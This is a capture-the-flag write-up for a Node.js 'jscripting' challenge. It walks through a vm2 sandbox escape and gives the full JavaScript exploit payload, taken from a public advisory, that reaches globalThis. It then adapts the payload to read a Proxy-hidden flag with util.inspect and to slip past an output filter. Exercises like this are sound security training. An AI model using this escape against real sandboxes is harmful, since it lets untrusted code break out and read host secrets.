jscripting

tl;dr: use util.inspect to see protected attributes of Proxy object

problem

see web_jscripting.7z

solution

image

on the backend, we execute our code in a node js vm

image

i got a payload from @oh_word on the cyberspace team, and he got it from https://security.snyk.io/vuln/SNYK-JS-VM2-5537100

example payload to get access to globalThis

(() => {const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return globalThis")();throw process;},}),};try{err.stack;}catch(e){
  return e;  // this is where the magic happens (what is returned here we can see)
}})()

this allows us to escape the vm and get access to the globalThis object in the worker_globals.js file (shown below)

globalThis.module = module;

const secret = process.env["SECRET"];
const flag = process.env["FLAG"];

globalThis.storage = new Proxy({ secret },
{
    get: (target, name) => {
        if (name == "secret") {
            return null;
        }

        return target[name];
    },

    getOwnPropertyDescriptor: (target, name) => {
        if (name == "secret") {
            return {
                value: flag,
                writable: true,
                enumerable: true,
                configurable: true,
            };
        }

        return target[name];
    }
});

the globalThis object is also modified in worker.js (modified in worker.js before the vm executes our payload)

const moduleRequire = globalThis.module.require;
globalThis.module.require = (id) => {
    const whitelist = [
        "crypto",
        "path",
        "buffer",
        "util",
        "worker_threads",
        "stream",
        "string_decoder",
        "console",
        "perf_hooks"
    ];

    if (!whitelist.some(p => id == p))
        return;
    
    return moduleRequire(id);
}

as you can see, the globalThis has a storage which has the flag (fake flag!!!) and a secret. the secret is the real flag, but we cant view it because it is hidden behind a proxy object

one idea i had was to do new globalThis.module.require('buffer').allocUnsafe(2000) (similar to here) to leak memory, but this did not leak anything useful

we have access to the util, which is very interesting.

interestingly, we have util.inspect (see here)

image

putting this into our payload template to try to inspect storage:

(() => {const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return globalThis")();throw process;},}),};try{err.stack;}catch(e){
  return e.module.require('util').inspect(e.storage);
}})()

image

what !?

well, there is a check to not print out flags

image

so i can just convert this to a list by doing [...str] to make it ['c','r','3','{', etc, '}']

image

this outputted the flag